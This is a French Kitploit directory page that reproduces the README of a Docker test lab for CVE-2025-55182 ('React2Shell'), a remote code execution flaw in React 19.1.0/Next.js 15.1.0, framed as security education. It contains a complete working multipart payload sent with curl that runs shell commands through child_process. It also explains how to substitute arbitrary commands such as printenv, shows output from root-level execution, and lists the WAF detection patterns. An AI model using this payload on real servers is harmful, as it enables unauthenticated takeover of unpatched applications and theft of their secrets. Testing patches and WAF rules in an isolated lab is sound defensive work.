Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-55182-test-lab-windows — Laboratoire de test basé sur Docker pour la vulnérabilité RCE CVE-2025-55182 (React2Shell) dans React 19.1.0/Next.js 15.1.0. Inclut des scripts d'exploitation, des tests de contournement WAF avec NGINX/ModSecurity, et une comparaison de versions patchées pour l'éducation à la sécurité. | Kitploit
Outils/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Analyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Voir le dépôt
13il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Laboratoire de test basé sur Docker pour la vulnérabilité RCE CVE-2025-55182 (React2Shell) dans React 19.1.0/Next.js 15.1.0. Inclut des scripts d'exploitation, des tests de contournement WAF avec NGINX/ModSecurity, et une comparaison de versions patchées pour l'éducation à la sécurité.

Partager

Test de CVE-2025-55182 (React2Shell)

⚠️ Avertissement : Contient une vulnérabilité d'exécution de code à distance (RCE) fonctionnelle.

📋 Table des matières

  • Aperçu
  • Informations sur la vulnérabilité
  • Démarrage rapide
  • Démonstration d'attaque réelle
  • Environnement de test
  • Règles de défense WAF
  • Structure des fichiers
  • Références
  • Mention légale

Aperçu

Environnement de test conteneurisé pour la vulnérabilité CVE-2025-55182 (React2Shell).

Principales caractéristiques

  • ✅ Reproduction de la vulnérabilité réelle - Environnement React 19.1.0 / Next.js 15.1.0
  • ✅ Attaque RCE réussie - Exécution de commandes réelle vérifiée
  • ✅ Test de défense WAF - Règles NGINX et Apache ModSecurity configurées
  • ✅ Comparaison des versions patchées - Test version vulnérable vs version patchée
  • ✅ Environnement Docker complet - Environnement conteneurisé isolé

Résultat de l'attaque

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Informations sur la vulnérabilité

CVE-2025-55182 (React2Shell)

Score CVSS : 10.0 (CRITIQUE)
Impact : Exécution de code à distance (RCE)
Authentification requise : Aucune
Vecteur d'attaque : Réseau

Versions vulnérables

  • React : 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js : < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Versions patchées

  • React : 19.1.2+
  • Next.js : 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Principe de l'attaque

  1. Prototype Pollution - Pollution du prototype via $1:__proto__:then
  2. Accès au constructeur de fonction - Accès via la désérialisation Blob (préfixe $B)
  3. Exécution de code arbitraire - Création de fonction avec du code contrôlé par l'attaquant
  4. Exécution de commandes système - RCE via child_process
// Structure de la charge utile d'attaque
{
  "then": "$1:__proto__:then",           // Pollution de Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Déclenchement de la désérialisation Blob
  "_response": {
    "_prefix": "code_malveillant",               // Code à exécuter
    "_formData": {
      "get": "$1:constructor:constructor"  // Accès au constructeur de fonction
    }
  }
}

Démarrage rapide

Prérequis

  • Docker Desktop
  • Node.js 20+ (pour test local, optionnel)
  • Au moins 4 Go de RAM
  • Au moins 2 Go d'espace disque libre

Étape 1 : Démarrer l'environnement

Windows (PowerShell) :

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Étape 2 : Vérifier l'état

.\run-tests.ps1 status

Attendez que tous les conteneurs soient en état healthy (environ 1-2 minutes).

Étape 3 : Lancer l'attaque

Windows (PowerShell) :

# Méthode 1 : Utiliser le script PowerShell (recommandé)
.\tests\exploit-working.ps1

# Méthode 2 : Exécution directe avec Node.js
node tests\exploit-working.js

### Étape 4 : Vérifier les résultats

Vous pouvez vérifier les résultats d'exécution des commandes dans les logs du serveur :

```bash
docker compose logs vulnerable-app --tail=20

Démonstration d'attaque

Script d'attaque automatisé

exploit-working.js ⭐ Recommandé

Windows :

# Script PowerShell (recommandé)
.\tests\exploit-working.ps1

# Ou exécution directe avec Node.js
node tests\exploit-working.js

Contenu de l'exécution :

  • ✅ Exécution de commandes shell arbitraires
  • ✅ Capture de la sortie des commandes dans les logs serveur
  • ✅ Test automatique de multiples commandes
  • ✅ Rapport de vulnérabilité détaillé

Commandes testées :

  • whoami - Utilisateur actuel (root)
  • hostname - Nom d'hôte du conteneur
  • pwd - Répertoire de travail (/app)
  • id - Informations complètes sur l'utilisateur
  • uname -a - Informations système
  • node --version - Version de Node.js

Attaque manuelle

Attaque directe avec curl

# Créer le fichier de charge utile
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Envoyer l'attaque
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Vérifier l'exécution dans les logs
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Exécution de commandes personnalisées

Vous pouvez modifier le script d'attaque pour exécuter les commandes de votre choix :

// Dans le fichier exploit-working.js :
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Liste du répertoire de l\'application' },
  { name: 'env', cmd: 'printenv', desc: 'Affichage des variables d\'environnement' }
]

Environnement de test

Conteneurs Docker

PortServiceVersion ReactUsageStatut WAF
3000vulnerable-app19.1.0Vulnérable - Test CVE-2025-55182❌ Non protégé
3001patched-app19.1.2Sécurisé - Vérification du correctif✅ Patché
8080nginx → vulnerable19.1.0Test WAF (NGINX)⚠️ Limité (pas d'inspection du corps)
8081apache → vulnerable19.1.0Test WAF (ModSecurity)⚠️ Limité (réponse 405)
8082nginx → patched19.1.2Test de double protection✅ Patché

Environnement de l'application

  • Framework : Next.js 15.1.0 (App Router)
  • Version React : 19.1.0 (vulnérable)
  • Node.js : 20.19.6

Scénarios de test

Scénario 1 : Attaque de la version vulnérable

# Exécuter l'attaque fonctionnelle
node tests/exploit-working.js

# Résultat attendu : exécution de commande réussie
# Sortie : informations utilisateur, détails système, etc.

Scénario 2 : Test de la version patchée

Windows (PowerShell) :

# Utiliser le script PowerShell
.\tests\exploit-working.ps1 -Port 3001

Résultat attendu : Échec de l'attaque (React 19.1.2 bloque l'attaque)

Scénario 3 : Test de blocage WAF

Windows (PowerShell) :

# Tenter l'attaque via le WAF NGINX
.\tests\exploit-working.ps1 -Port 8080

Résultat attendu : Bloqué par les règles WAF


Règles de défense WAF

Règles de défense NGINX

Emplacement : nginx/nginx.conf

Modèles de détection :

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Exploitation du protocole Flight - $X:__proto__, référence $B
  3. Chaîne de gadgets - child_process, execSync, require()
  4. Contournement par encodage URL - %5f%5fproto%5f%5f
  5. En-têtes suspects - Next-Action: #constructor

Action de blocage :

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Règles Apache ModSecurity

Emplacement : apache/modsecurity-rules.conf

Plage d'ID de règles : 100001-100017

Télécharger l’outil